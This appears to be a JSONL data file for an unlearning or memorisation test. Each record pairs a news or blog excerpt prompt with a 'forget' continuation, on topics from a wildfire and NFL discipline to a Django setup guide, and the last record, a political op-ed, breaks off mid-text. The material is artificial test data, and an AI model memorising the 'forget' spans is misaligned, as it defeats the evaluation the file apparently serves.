{"prompt": "Over the past few days, I've been talking to multiple sources about Star Wars: First Assault, the troubled multiplayer shooter that could be LucasArts's downloadable take on Battlefield and Call of Duty. Today Kotaku can reveal gameplay footage from the Star Wars shooter, which has not been announced and may never actually make it out of the studio, even though it's almost finished. Star Wars: First Assault was meant to be a \"predecessor\" to Battlefront III, we learned this week. LucasArts planned to release it this spring as a downloadable game, but Disney's acquisition of the company put all games", "forget": "on freeze as executives try to figure out what to do with the Star Wars property. Advertisement We've got two clips of First Assault, both cut from a trailer that was designed for internal use at LucasArts back in October/November. This is footage from an older version of the game, and may not be a perfect reflection of what First Assault looks like today, but given that LucasArts won't talk about the game, this is all we've got. \"The trailer contains all in-game footage, including known bugs and incomplete art,\" said a source. \"In the time since it was made, many improvements have been made in performance, completeness, and quality.\" The first clip is the pre-rendered intro to the trailer. It gives you a look through the eyes of a Stormtrooper putting on his helmet: Advertisement UPDATE: Following a takedown request sent from Lucasfilm's legal department to our parent company, Gawker Media, we have removed both videos. Lucasfilm claims copyright on them and has also been pulling down versions of these clips that were ripped onto other sites on the Internet. We can assume that the next time you'll see the game\u2014if you see it again\u2014will be when Lucasfilm wants you to. The second clip contains gameplay footage from Star Wars: First Assault. In this clip, you can see stormtroopers and rebels battling across various Star Wars locales, like the desert planet Tatooine. It's very reminiscent of multiplayer mode in a first-person shooter like Call of Duty or Battlefield or Lucas's own Star Wars: Battlefront. The video shows action in both first- and third-person. We don't know if that's a third-person mode or just clips from a replay (or footage designed specifically for this trailer). You can also see some of the game's guns, attacks, and special abilities: It's still"}
{"prompt": "Update at 9:30 pm: With more firefighters on the ground overnight battling the 65,000-acre Butte Fire. Cal Fire spokesperson Nancy Longmore outlines the overnight fire suppression efforts saying, \u201cI don\u2019t know the specific targets, but they are just continuing to build line and as best as possible get a line around this monster.\u201d Update at 7:35pm: CAL Fire has released the latest numbers on the Butte Fire. While some details are encouraging, others show the devastation the flames have brought. Firefighters have been able to hold the acreage at 65,000 and the containment has increased to 15%. However, Cal Fire", "forget": "damage crews spent the day on the burn scar and report unfortunately, 86 homes and 51 outbuilding have been destroyed. The number of firefighters battling the blaze has hiked to 3,852 with 452 engines and 94 dozers on scene. Update at 6:35pm: Following today\u2019s town hall meeting at Calaveras High School, CAO Shirley Ryan had a message for residents in the mandatory evacuation zones. Click here to view the video. To view the speech at the town hall meeting by Calaveras County Board of Supervisors Board Chairman Cliff Edson, click here. Update at 4:15pm: The Calaveras County Sheriff\u2019s Office has issued a mandatory evacuation order for parts of San Andreas. It includes Pope Street, West Murray, Lewis Avenue, Miller Street, Wimbledon Drive, Forest Hill, Turner Ct., and along Mountain Ranch Road near Windmill, and the Gold Hunter Subdivision. Update at 3:20pm: Reporter Tori James was on hand at today\u2019s Town Hall meeting at Calaveras High School. Some of the featured speakers included Josh White, CAL Fire Tuolumne-Calaveras Chief, Paul Young, Fire Chief for the San Andreas Fire Department, Cliff Edson, Calaveras County Board of Supervisors Chairman, and Kim Zagaris, State Fire and Rescue Chief for the State of California. It was noted that five major wildfires are currently burning in California, but the Butte Fire is the number one priority. There are 350 engines from all over the state. The fire has been, at times, moving 60-70 ft. a minute. There are an estimated 13,000 evacuations. The main priority is protecting lives over property. Once an individual receives a mandatory evacuation, and has left, they are not allowed to go back to their property. The Red Cross considers the Butte Fire a national disaster and wants everyone who evacuates to register at one of the shelters so that they can"}
{"prompt": "METAIRIE, La. -- Drew Brees was critical Wednesday of the way NFL commissioner Roger Goodell has handled disciplinary issues in recent years - including the New Orleans Saints' bounty investigation. And Brees said he hopes the NFL's latest controversies will finally lead to a new disciplinary system that is fair, transparent and includes the NFL Players Association and independent experts instead of the \"unilateral\" system that has been in place with \"no checks and balances.\" \"Too many times, I'd say especially over the last few years, a punishment's been handed down and nobody has really seen the evidence except for", "forget": "those in the league office -- supposedly,\" Brees said. \"So decisions were made in kind of a, 'Hey, trust us.' But did the public see any of the facts? Did the accused see any of the facts? In most cases, no.\" Those were the biggest complaints among Saints players and the NFL Players Association during the drawn-out fight over bounty suspensions in 2012 -- which ultimately led to former NFL commissioner Paul Tagliabue vacating all of Goodell's player punishments. Saints leaders such as coach Sean Payton and general manager Mickey Loomis, however, had no such recourse with which to fight against Goodell's severe punishments since Goodell handed out the discipline and heard the appeal. \"That's why you have multiple parties to make sure everyone comes together, cooler heads prevail. The decision isn't just based on emotion at the time, which I can say I believe has happened in the past in regards to commissioner discipline. It's been based upon emotion as opposed to maybe the facts,\" Brees said. \"And (a new disciplinary policy would) prevent that from ever happening again.\" Brees also echoed the sentiment of many former Saints players and media analysts who have pointed out that Goodell has not been held accountable for mistakes made during the investigation of Ray Rice's domestic violence incident. And Goodell is not holding himself to the same standard to which he held Saints leaders to in the bounty punishments. \"I think it's a great tie-in because obviously the same things that I've heard, the same things that I feel (about Goodell) are the quotes that were thrown out at members of the Saints organization in regards to why they were being punished,\" Brees said. \"Things such as, 'Ignorance is no excuse,' and, 'if you didn't know you should've known,' are things that"}
{"prompt": "MELBOURNE (Reuters) - Exxon Mobil Corp (XOM.N) and Chevron Corp (CVX.N) paid no tax in Australia in the 2016 financial year, the third year in a row, despite reporting billions of dollars in income from operations in the country, a report from the tax office showed on Thursday. FILE PHOTO: An Exxon sign is seen at a gas station in the Chicago suburb of Norridge, Illinois, U.S., October 27, 2016. REUTERS/Jim Young/File Photo Exxon Mobil, which has oil and gas production in the Bass Strait and a stake in the giant Gorgon LNG project among other assets in Australia, reported", "forget": "A$6.7 billion ($5.0 billion) in income, but it reported a loss for taxable income and paid no tax, similar to the previous two years. Exxon said it had no taxable income as it has invested nearly A$18 billion over the past few years on major projects including Gorgon and the Kipper Tuna Turrum field. \u201cAs these multi-billion investments were completed in 2017 and have started production, the amount of tax paid by ExxonMobil Australia is anticipated to increase significantly,\u201d said Travis Parnaby, a spokesman for the oil major. Chevron reported A$2.1 billion in income for 2016 and paid no tax, while Shell Energy Holdings Australia - a unit of Royal Dutch Shell (RDSa.L) - reported A$4.2 billion in income and A$97 million in taxable income, but paid no tax. Chevron, operator of the Gorgon and Wheatstone LNG projects, said it expects to pay significant taxes once those projects are running at full tilt. Shell is also a partner in Gorgon LNG. The Australian Taxation Office (ATO) started requiring big companies to disclose their tax payments two years ago in a push to curb alleged tax avoidance. Top global miners BHP Billiton (BHP.AX)BLT.L and Rio Tinto (RIO.AX)(RIO.L) and the oil and gas giants have all been accused of shifting income to countries like the Netherlands and Singapore where tax rates are lower. A probe by the Australian Senate into corporate tax avoidance that began in 2014 was extended this week, and is now due to issue a final report by the end of May 2018. In New Zealand, the new Labour government on Thursday proposed legislation to prevent multinationals from shifting profits out of the country. Its tax office estimated the measures could raise about NZ$200 million ($137 million) a year. \u201cMultinational companies are a welcome part of our economy but"}
{"prompt": "Beginners Guide to Installing and Configuring Django on Linux Django is a web framework for python. It provides you with the basic components that are required to build your website like HTML templates, User Authentication, Web Server etc. In this tutorial I will describe how you can install Django 1.7 on Linux with the latest version of Python and PostgreSQl. Software Versions Linux(CentOS 6.5) Python 3.4 Django 1.7 PostgresSQL 9 Step 1: Install Python 3.4 on your Linux machine. Ubuntu/Mint/Raspberry Pi users can skip this step as these distro's generally have the latest versions of python (check by running \"python", "forget": "--version\") [leo@django~]$ wget https://www.python.org/ftp/python/3.4.2/Python-3.4.2.tgz [leo@django~]$ tar -xvzf Python-3.4.2.tgz [leo@django~]$ cd Python-3.4.2 [leo@django~]$ ./configure [leo@django~]$ make [leo@django~]$ sudo make altinstall [leo@django~]$ python --version Python 3.4.2 Step: 2 Install Django on Linux Before you install Django create a virtual environment, where the project dependencies will be installed and will not conflict with system dependencies. [leo@django~]$ pyvenv-3.4 venv3.4 [leo@django~]$ source venv3.4/bin/activate [leo@django~]$ pip install django Step 3: Install PostgreSQL 9.4 on Linux Django recommends the use of PostgreSQL for it's database operations. If you are not comfortable with Postgres, then you can configure MySQL or you can leave the settings to default and use SQLlite as well. Ubuntu/Mint/RasberryPi users can follow the PostgreSQL installation guide at http://www.postgresql.org/download/linux/ubuntu/ [leo@django~]$ sudo vim /etc/yum.repos.d/CentOS-Base.repo #add the below line to the base and update sections exclude=postgresql* [leo@django~]$ sudo yum localinstall http://yum.postgresql.org/9.4/redhat/rhel-6-x86_64/pgdg-centos94-9.4-1.noarch.rpm [leo@django~]$ sudo yum install postgresql94-server postgresql94-contrib postgresql-devel [leo@django~]$ sudo /usr/pgsql-9.4/bin/postgresql94-setup initdb or [leo@django~]$ sudo service postgresql-9.4 initdb [leo@django~]$ sudo service postgresql-9.4 start Create a Database and assign a user to it. [leo@django~]$ sudo su - postgres [postgres@django~]$ createdb yourdbname [postgres@django~]$ createuser -P yourdbuser #createuser will prompt you for a password, enter it twice. [postgres@django~]$ psql postgres=# GRANT ALL PRIVILEGES ON DATABASE yourdbname TO yourdbuser; postgres=# \\q Now try to connect via the command prompt [leo@django~]$ psql -U yourdbusername -h localhost -W yourdbname After you enter you password you will get the below error \u201cFATAL: Ident authentication failed for user\u201d This is because by default PostgreSQL uses \u2018ident\u2019 authentication i.e it checks if the username exists on the system. You need to change authentication mode to \u2018md5\u2019 as we do not want to add a system user. Modify the settings in \"pg_hba.conf\" to use 'md5' authentication. [leo@django~]$ sudo vim /var/lib/pgsql/9.4/data/pg_hba.conf # \"local\" is for Unix domain socket connections only local all all md5 # IPv4 local connections:"}
{"prompt": "The almost 1 million young undocumented people who have applied for Daca protections gave the federal government their addresses, fingerprints and more Donald Trump\u2019s decision to dismantle the Deferred Action for Childhood Arrivals (Daca) program from next March will leave almost a million young immigrants in fear that the personal information they voluntarily handed the federal government in signing up for the scheme could now be turned against them to facilitate their own deportations. Tuesday\u2019s announcement by the attorney general, Jeff Sessions, that the Obama-era protections against deportation for the young undocumented immigrants known as \u201cDreamers\u201d would begin to be", "forget": "dismantled in March 2018 puts the spotlight on the huge government database that has been compiled over the past five years. The records contain highly sensitive information on every individual who has applied for legal protection under the scheme, as well as relatives who might also be vulnerable to removal from the US. The latest federal statistics show that 936,394 young undocumented immigrants, all of whom were brought to the US as children, have applied for temporary permission to live and work in the US under Daca. Almost 800,000 have been accepted. My colleague Maria was deported. I saw the void she \u2013 and others \u2013 leave behind | Nick Nelson Read more In the process, those young people were required to divulge a large range of personal data, including home addresses, educational history, fingerprints and photographs. Such rich intelligence would provide the Trump administration with a potentially powerful surveillance tool were it to decide to round up and deport people as their Daca permits expire from next spring. The storage of the home addresses of hundreds of thousands of Dreamers alone could make the work of federal immigration officers vastly easier in deporting them. That knowledge in turn is likely to spread alarm among Daca recipients that their voluntarily divulged information may now be exploited against them, rendering them vulnerable even in their own homes. The database is currently under the control of the US Citizenship and Immigration Services (USCIS). Under present rules, the data is not shared with the agency responsible for deportations \u2013 Immigration and Customs Enforcement (Ice) \u2013 but as both outfits fall under the same Department of Homeland Security, the potential for data sharing remains. \u201cIt would not be easy, but nor would it be impossible, for Ice to get hold of this data,\u201d said"}
{"prompt": "Americans\u2019 median pay packets have been flat since 1973, even though the vastly expanded federal government has justified its own salaries and its many massive spending and policy programs as a sure-fire way to boost education, productivity, and wages. The colossal 44-year failure of the federal government to help grow American men\u2019s wages \u2014 or even to reduce poverty rates \u2014 is laid bare in the latest report from the Census Bureau, \u201cIncome and Poverty in the United States: 2016.\u201d The dense report includes myriad detailed tables of data around one shocking chart, which reveals no growth in men\u2019s wages", "forget": "for the past 44 years, or since President Richard Nixon was beginning his second term in office. The sudden flatline followed a 31 percent rise in all men\u2019s median wages from 1960 to 1972. During the 44-year period since 1973, income among women grew by roughly 30 percent as more skilled and trained women entered the market, gained experience, and were promoted to better-paying jobs. Those opportunities and contributions are good news \u2014 but they do not change the reality that men\u2019s income has been flat for 44 years. In fact, the report notes that \u201cthe real median earnings of full-time, year-round working men were 1.1 percent lower in 2016 than in 2007.\u201d There are many explanations for the flat income, such as the massive growth in the labor supply when 30 million additional American women and roughly 30 million immigrants joined in the marketplace competition for good jobs. For example, a pro-immigration panel at the prestigious National Academies of Science estimated in 2016 that the huge government-imposed inflow of immigrants since 1965 has imposed a hidden 5 percent \u201cimmigration tax\u201d on Americans\u2019 pay packets. Technology has made many individuals workers more productive but also sidelined many others, such as newspaper printers and steelworkers. Peaceful international trade has allowed men to sell more products overseas but also allowed employers to hire foreign workers instead of Americans. Whatever the combinations of reasons, the mid-point for men\u2019s income has been flat for 44 years, according to the Census Bureau. The flat-earnings chart needs some explanation: It shows only inflation-adjusted, pre-tax pay packets, so it excludes the impact of inflation, company benefits, or taxes and government benefits, such as food-stamps and tax-breaks for children, or of Obamacare\u2019s subsidies and spending obligations. It shows median income, which is the midpoint of the income scale."}
{"prompt": "Dads in the Limelight Our 420th Dad in the Limelight is Ben Crawford. I want to thank Ben for being a part of this series. It has been great getting connected with him and now sharing him with all of you. 1) Tell me about yourself, (as well as how you are in the limelight for my readers knowledge) http://3encrawford.com/ I\u2019ve founded some companies and love adventure. One of the business ventures was the topic of a documentary. We live in community and my primary earthly identity is being a father. You can read a more thorough \u201cbio\u201d here: 2)", "forget": "Tell me about your family We have 6 children. 5 that are living. I got married at the age of 20 to Kami. We have 4 daughters (Dove, Eden, Memory, & Filia) and 1 son (named Seven). People always ask us if we are \u201cdone\u201d. If we are it would not be by our choice. 3) What has been the largest challenge you have had in being a father? Overcoming porn, busyness, and identities tied to work and financial income to be emotionally and spiritually present with my children. 4) What advice would you give to other fathers? Talk to old people and ask them what they regret or are proud of. No old person ever wishes he had fewer children, spent less time with them, or answered more email. 5) How have you come to balance parenthood and outside life? I don\u2019t know what this question means. To me \u201cparenthood\u201d is who I am. It\u2019s not something to be balanced and there is no such thing as outside life. Every opportunity that my child is not with me, whether it be work or pleasure, is a missed opportunity to be with, enjoy, and train my child, AS WELL as learn myself more about God and my relationship with him. Parents are really obsessed with being a blessing to their children and we forget the the relationship primarily is that they are a blessing to us. We need to understand why we are not seeing things this way or we will keep on missing the point. I don\u2019t know what this question means. To me \u201cparenthood\u201d is who I am. It\u2019s not something to be balanced and there is no such thing as outside life. Every opportunity that my child is not with me, whether it be work or pleasure,"}
{"prompt": "Here are some recent developments on bitcoin and the blockchain from around the world. Russia\u2019s Love-Hate Relationship Russia\u2019s stance towards bitcoin and blockchain is a study of a great contrast. While Russia has been unfriendly towards bitcoins, it is showing enthusiasm towards its underlying technology, the blockchain. However, this could be changing. As Russia\u2019s Central Bank moved to embrace the blockchain technology, comments by Andrei Lugovoi, Deputy Chairman of the Russian State Duma Committee for Security and Anti-Corruption generated hope for the future of cryptocurrencies as well. A press release by Russia\u2019s Central Bank revealed that the central bank is", "forget": "setting up a working group to engage in the \u201canalysis and evaluation\u201d of application possibilities of new financial technology. An extract from the release read, \u201cThe Central Bank established the Working Group on the analysis of advanced technologies and innovations in the financial market. Among the priority issues - the study of distributed technologies (e.g. blockchain), as well as new developments in the mobile, payment, and other areas.\u201d Russia\u2019s has been hard on its attitude towards bitcoin but the same has seen a gradual shift from a time when the Finance Ministry prepared a draft on banning all forms of money substitutes in Russia which includes bitcoins. According to Andrei Lugovoi, \u201cIn the beginning of 2016 after a series of meetings with the fiscal authorities and businesses, it was stated that in the future the Central Bank could begin to legalize and regulate certain transactions with Bitcoin, particularly peer-to-peer transactions and settlements with individuals.\u201d Russia currently ranks fifth in the world with 200,000 users of cryptocurrency users, and thus if the above proposal is enforced, it will provide a big boost to virtual currencies. Bitcoin Could Be \u2018Real Money\u2019 in Japan In an interesting development, Japan\u2019s financial regulators are reportedly considering treating virtual currencies such as bitcoin equivalent to real money, a move that would strengthen the mechanism of consumer protection and pave a way for growth in the virtual economy. Currently, virtual currencies in Japan are \u201crecognized as objects but are not treated on a par with their more established counterparts.\u201d As per the Nikkei report, FSA is considering amendments to legislation to include virtual currencies such as bitcoin as \u201cfulfilling the functions of currency.\u201d The proposal will be submitted during the ongoing Ordinary Diet Session. This move would bring entities like exchanges for virtual currency under a regulatory"}
{"prompt": "The following passages are excerpts from Last Superman Standing: The Al Plastino Story, a forthcoming biography of the artist written by Ed Zeno. (Excerpt from) Chapter 2: Harry \u201cA\u201d Branching Out In the early days of the comic-book industry most people knew each other, and news traveled fast. Soon after he started working at the [Harry A.] Chesler studio, Alfred \u201cAl\u201d Plastino heard about other publishers needing help. He took samples of his output to a competitor and was taken aback when that company\u2019s art editor informed him that the work was not his. \u201cWhat do you mean? I should", "forget": "know. I\u2019m the one who drew them,\u201d said Plastino, to which the editor responded, \u201cThe actual artist who drew those pages was in here not long ago, showing me the same ones.\u201d Creators mostly chose not to sign their artwork during the comic-book field\u2019s first three-decades-plus, because bosses might consider it \u201cstealing\u201d if their employees and freelancers decided to moonlight. Nevertheless, Plastino learned the importance of marking his pages since others were taking credit for the work. He and his cohorts sneaked initials \u2014 and sometimes even their last names \u2014 into splash panels, end pages and elsewhere. An example can be found on the splash page to the Rocketman story published in Scoop Comics #3 (March 1942). At bottom left is a hunchbacked person holding a strap. On the strap is written \u201cAL PLA.\u201d Plastino remembered: \u201cI jumped around, inking for Fawcett and Funnies Incorporated.\u201d Those weren\u2019t the only companies he moonlighted at. Because he had been published so early in the burgeoning comic-book trade, Plastino rarely had to go looking for additional work. Extra jobs usually found him. He became known as someone who didn\u2019t need coaching and could get the task done reliably. Chesler never knew about Plastino\u2019s side projects, or he\u2019d have been furious. Different studios paid different wages, but $9 per page was probably the most the freelancing young man made during this period. Art editor Jack Binder left Chesler\u2019s studio in 1940. Before long, he was running his own operation. Plastino noted that he only drew one story for the Jack Binder studio. It was tough to survive in the early comic-book business, and Binder developed a reputation as a bit of a hustler. Plastino remembered how Binder had taken advantage of him when he was at Chesler\u2019s; Binder had the 18-year-old pencil side"}
{"prompt": "When you take into account its purchase price and all of the consumables it requires--toner or ink, paper, imaging drums, and more--you may find that a printer is one of the most expensive pieces of IT equipment in your business. When any one user needs access to an expensive machine only intermittently, sharing the hardware among as many users as possible makes sense. The simplest way to accomplish this in an office is to put the printer on the office network, where all network users can reach it. There are three basic approaches to putting a printer on a network.", "forget": "The first is to use a printer that has networking capabilities built in. The second is to attach a printer to a separate network endpoint (a dedicated print server) that may or may not have additional features. And the third is to attach the printer to a computer workstation and share it with other network users. Each of these methods has its own advantages and disadvantages, and each works best under specific circumstances. Connecting a Network-Enabled Printer The easiest type of printer to connect is one that comes with a network adapter already installed in it. If your network architecture is simple, you can have a peripheral of this type printing across the network in a matter of minutes. If every computer in the office or home network resides in the same network space (that is, if the first three triplets in the xxx.xxx.xxx.xxx IP address are the same for each machine), setting up printer sharing is quite simple. If different subnetworks exist (so that only the first two triplets are the same for every computer) the task is more complicated--but in such a case, your business probably also has a dedicated IT staff. Often the product description accompanying printers equipped with preinstalled network adapters includes the words \"network printer\" or \"network capable.\" Many printer manufacturers signal that the printer is network-ready by including the letter \"n\" somewhere in the model name. The network connection provided may be cable-based or wireless. Either method of data transfer will be faster than the speed at which paper can come out of the printer, so the method has no significant impact on printer performance. Network-enabled machines may be inkjets (such as the Epson B-510DN and the HP OfficeJet Pro 8000 Wireless) or lasers (such as the Dell 5130cdn and the HP CP4025dn). The"}
{"prompt": "Welcome to our new summer series. A lot has happened over Todd Graham's first three seasons as Arizona State's head football coach. Over the next two weeks, we will be ranking 15 of Graham's 28 total wins so far before the 2015 season, which has potential to send the program to new heights. Before that happens, let's look at the games that put ASU in this position. Our No. 15 win for Graham saw the Sun Devils explode in the second half for a dominating win over Colorado in 2012. At No. 14, ASU's last game of the 2014 campaign", "forget": "saw the Sun Devils go head-to-head with the Blue Devils of Duke: No. 14: Dec. 27, 2014 - Sun Devils claim Sun Bowl Thriller In many seasons, a trip to the Sun Bowl with a chance to secure a 10-win season would serve as the culmination of a successful campaign for Sun Devil fans. But after the emotional high of winning the Pac-12 South in 2013 and climbing up to No. 6 in the College Football Playoff rankings at a late juncture in the season, Arizona State's expectations extended beyond finishing its season in El Paso, Texas. However, as the 8-1 Sun Devils faltered late in the year, falling at Oregon State and coming up one play short in a heartbreaking loss to Arizona, ASU dropped out of contention for the major bowls and was selected to play Duke in the Sun Bowl to wrap up the season. Participating in the Sun Bowl didn't live up to the high expectations fans have grown to hold for the program, but the game provided them with an exhilrating showcase. Having benched him in the second half in hopes of pulling out a late win against the Wildcats, Todd Graham had to make a decision on whether to put Taylor Kelly back in the starter's role for the Sun Bowl. He opted to go with his senior captain, and gave Kelly the chance to lead ASU to a victory in his final collegiate game. Kelly played well early, but it was the play of freshman Demario Richard that stole the show for the Sun Devils. After a 16-yard completion to Jaelen Strong and a 14-yard Kelly scamper, Richard capped off ASU's first drive of the game with a 9-yard touchdown run and ASU took an early 7-0 lead. ASU and Duke traded field"}
{"prompt": "It was towards the end of a long, cold, 2 month tour around Europe promoting my new album, just about to head to Portugal to finish off and enjoy a bit of sun. I got an email from a fan in Switzerland saying something like \u201cHey, check out this video, it\u2019s pretty cool but the best part is the music ;-)\u201d I clicked the link and it lead me to a video on Eurosport/Yahoo Europe. The video was by Red Bull and was of a guy called Daniel Bodin doing an amazing 220ft jump on a snowmobile, from an Olympic", "forget": "ski ramp. The music behind it was my song \u201cWhat Am I?\u201d from my second album \u201cThe Rooftop Recordings.\u201d I was very flattered that they had used my music and so posted the video on all my social media sites etc. Then I found the same video on Youtube, which had already garnered an impressive 250,000 views and noticed people in the comments asking who the song was by. Why didn\u2019t they know who the song was by? Well because Red Bull hadn\u2019t mentioned me in the credits, nor in the Youtube description box. I called my publisher and he knew nothing about them using the music and assured me they had not asked for permission. That\u2019s when it dawned on me\u2026. Red Bull had stolen my music!!! I had to do something about this. The video was getting thousands of views a day, had already been up a week and I needed to get some kind of promotion from all this. So I sent a mail to everyone my mailing list asking them for a favour, explaining what had happened. I asked them to go to the YouTube video and leave comments with my name and the name of the song, so at least someone who was interested in the music could find me and/or my albums. Well they really came through for me and throughout that day around 25 comments appeared on the video thread, some very angry that Red Bull hadn\u2019t given me credit nor paid anything. This seemed to work as Red Bull promptly put a link to my album on iTunes and my name in the video description. This certainly helped things along as that song shot up to being my most played song on Spotify the day after and downloads from iTunes went up"}
{"prompt": "On September 29, United Nations Human Rights Council (UNHRC) passed a resolution denouncing the death penalty on consensual same-sex relationships in Geneva. Out of the 47 members, 27 voted in favour of the resolution, seven abstained from voting and 13 countries voted against the resolution. India was one of the countries that voted against the resolution. The 13 countries that voted against the abolishing of death penalty were Botswana, Burundi, Egypt, Ethiopia, Bangladesh, China, India, Iraq, Japan, Qatar, Saudi Arabia, the United State of America and the United Arab Emirates. Currently, there are six countries that enforce the death penalty", "forget": "for homosexuality \u2013 Iran, Saudi Arabia, Sudan and Yemen, as well as some regions of Nigeria and Somalia. The death penalty is a norm in ISIS-controlled areas in northern Iraq and northern Syria. Sudan, Yemen, Nigeria, Afghanistan, Mauritania, Pakistan, Qatar and Brunei are countries that enforce the death penalty on homosexuality on paper, but have not carried out executions (that can be verified at least). This resolution was passed for the \u201cimposition of the death penalty as a sanction for specific forms of conduct, such as apostasy, blasphemy, adultery and consensual same-sex relations\u201d. This process was undertaken to ensure that the death penalty is not applied in an arbitrary manner in those countries where the death penalty is still legal. The resolution was also passed to address the application of death penalty in cases of adultery, which disproportionately punishes women, and condemns the use of capital punishment against those with mental and intellectual disabilities, pregnant women and those under 18 years of age at the time when the crime was committed. In this crucial stage, which could immensely influence the development of human rights and its definition, the Indian state has failed to show responsible leadership on an international platform. To put it simply: it seems to relish its ability to take lives. Given India\u2019s track record with selectively condemning people to the death row, in order to satisfy \u201ccollective conscience\u201d; this impunity with which the Indian State thinks queer lives are disposable as well, should not come as a surprise. Also Read: FII\u2019s Statement On The Death Penalty Home Secretary Rajnath Singh had promised that, \u201cWe will state (at an all-party meeting if it is called) that we support Section 377 because we believe that homosexuality is an unnatural act and cannot be supported.\u201d According to the National Crime"}
{"prompt": "Dear Boards, My apologies if you already come across a similar post as this one yesterday. I just trashed some text and some video's into a post and assumed it would be as well-received as the [first post](http://boards.euw.leagueoflegends.com/en/c/community-creations-en/gnXqKrAB-league-of-legends-playing-cards-community-creation) on this playing card topic. I was wrong, and I hope you will forgive me for this somewhat re-post. But a lot of things I didn't cover actually took quite some work. http://i.imgur.com/TJ1aLdB.jpg First for the people that have more important stuff to do: >#**TLDR**; Two weeks ago, I showed a deck of playing cards I made using League splash arts. I", "forget": "got some useful feedback, and a lot of requests on where to buy the cards. With these two things I got to work. The result is a fairly new deck design and a complete website where you can find out more about the deck as well as a place to have them printed yourself. Below I want to show you just that. *** #Table of contends: 1. How is this possible? You are selling league contend, that's illegal! 2. The definitive design. 3. A complete website, all for you! *** #How's this possible? After I posted my first concept on the forums, and someone asked if I would be allowed to sell these cards an official RIOT'er (RiotSargonas) responded: http://i.imgur.com/AO9VVqe.jpg So yea, can't sell it. At first glance, that would make it impossible to get these cards out for the community. Good thing I'm an ignorant little brat that doesn't give up that easily , I did the following: The company that prints these cards allows you to sell your design. The price of this design you can set to +10, +20, +30, +40 or +50 percent of the printing costs. Since 0 wasn't an option, that wasn't an option neither. Unlesss.... yea, you've guessed it, I contacted the company if they could pretty please enable the option to 'sell designs' with a 0 percent profit marge. Surprisingly, they for-filled my wishes, making it possible for me to 'sell' my design for nothing. Meaning that if you would order a deck of cards with my design on it, you would pay just as much as if you would have made and uploaded the design yourself! I'm basically giving out the design for free. which **is** allowed. *** #What's the design? Last time I showed a few of the fronts, and"}
{"prompt": "There aren\u2019t many places in Seattle that haven\u2019t changed at all in my lifetime. But walking into Tai Tung restaurant in the Chinatown-International District is like stepping out of a time machine. There\u2019s the wood paneling, mauve upholstery and thick laminate menu I remember from special dinners out with my family as a child. But the restaurant\u2019s history runs much deeper than that. \u201cThe door that you just walked through, that swinging door? That door is 80 some years old,\u201d says Siang Hui Tay, who adds that the restaurant opened in 1935 and is the oldest remaining Chinese restaurant in", "forget": "neighborhood . Tay would know. Inspired by the history of Tai Tung, she and her partner Val Tan have co-produced \u201cA Taste Of Home,\u201d a documentary showcasing local Chinese-American culinary history, which will play opening night of the Seattle Asian American Film Festival next week. But it wasn\u2019t the restaurant\u2019s door, historic lunch counter or Bruce Lee\u2019s favorite table (he was a regular) that first attracted the filmmaking duo, who work under the brand \u201cTay & Val.\u201d It was the food \u2014 specifically Chinese comfort food from their home country of Singapore. \u201cWe were looking for a taste of home,\u201d says Tan, who was hoping for a taste of her grandmother\u2019s egg foo young and \u201cYelped\u201d her way to Tai Tung, which is famous for the dish. What she found there wasn\u2019t the recipe she grew up with. She says the Singaporean version she knows is more of a shrimp scramble than a gravy-topped omelet. But the experience sparked an interest in the history of Chinese-American food of our region and introduced her to Harry Chan. Chan is a third generation owner of Tai Tung. He\u2019s worked at the restaurant since 1968. In addition to being the devoted boss (he boasts that he keeps a sleeping bag at the ready so he can be sure to open even on snow days), he\u2019s also an expert on the evolution of food in Seattle\u2019s Chinatown-International District. \u201cThey ate pig feet and pig tails, ox tails, salmon head, peashoot vegetables steamed with pork, preserved pimento,\u201d says Chan listing off some of the popular dishes once served by his grandfather. You won\u2019t find all of those items on the menu today, but there are a few dishes that have remained unchanged since the restaurant\u2019s opening day. \u201cIt\u2019s all going to, at some point, disappear.\u201d"}
{"prompt": "This Is Why People Don\u2019t Agree With Sound Of Same Headphones There have been interesting researches on the sound of headphones as it is found to believe that every human being have a different opinion on the same headphone sound and this behavior has been researched by Brent Butterworth who has provided an elaborative reasoning about the same. In a recent study, different humans have been made to hear a same headphone sound and asked about their opinions. Interestingly, every test subject had a different take on the sound heard which proves the theory of disagreement as every human has", "forget": "a different take on same headphone sound. Every human has different hearing and interpretation capabilities It has been found that the reason for different interpretations is due to the development process of human ears as the ear canals vary from human to human. As quoted by Jacob Soendergaard, a sales engineer in a sound and vibration company. Each minute variation in geometry (ear canal shape, amount of folds and creases in the canal, aspect ratio of canal, location of double bends, size of tympanic membrane [eardrum], etc.) will affect the hearing perception \u2014 especially at the high frequencies with very short wavelengths. Hence, in the case of frequencies between 10KHz to 20 KHz (human hearing range), even a minuscule difference in offsetting of the human eardrum, which can be referred to as a measurement device, by a millimetre can result in varied results from person to person. Every human has a different headphone\u2019s space-sense Scientifically, the human brain uses hand related transfer function or HRTF to locate sound in three dimensions. This function involves the time difference between the arrival of sound at the ears, difference in sound levels, differences in frequency caused by acoustical effects of heads, shoulders and pinnae. All these functions support the interpretation of the sound. Headphones adjustments to the ears The fitting of headphones plays a great role in the sound performance output of headphones. It is dependent on the fit of the ear pads of an ear-headphone on the pinna. For a good bass of headphones, a good seal will ensure the same. In case if any space is created, the headphones will have a low bass, which might result in the tonal imbalance. Different humans have different tastes It has been observed that one of the reasons behind the different taste could be"}
{"prompt": "In the conservative commentariat and intellectual classes, the deal with the devil that is Trumpism seems increasingly complete. Stalwart conservatives who for years\u2014in some cases decades\u2014defended the principles of limited government, personal liberty, and strict adherence to the Constitution have hiked their skirts and dropped their panties, swooning as Big Donnie Trump talks dirty to the media. In a depressing twist, many members of my party and ideological persuasion have become advocates for Donald Trump on a scale that ranges from grudging to toadying, for a simple reason that seems to overwhelm all other factors: He attacks the media. Many", "forget": "are willing to forgive almost any sin because of it. All it took to break the spirit of far too many in the conservative class was for Trump to leaven his deranged, autocratic rantings with \u201cfake news\u201d and \u201cduh librul media\u201d bait to compromise the ideals and credibility of a large swath of the conservative firmament. People who think of themselves as being smarter than the average bag of hammers are missing that they\u2019re the just the latest victims of the Trump Con. We now routinely see a formulation something like this:, \u201cWell, Trump isn't perfect, but at least he's attacking the media.\u201d It's the haute-bourgeois pleasure of watching someone else to do your dueling. For decades, the rallying cry on the right was: \u201cIf only we could overcome the liberal media monoculture, the truth and strength of our ideas would finally break through. If only we could really be heard on economic matters, on foreign affairs, and on race, the Republican Party and conservatism would finally get a fair hearing in the minds of the American people.\u201d It wouldn\u2019t have to be a zero-sum game of replacing one set of biases with another; the rightness of our ideas 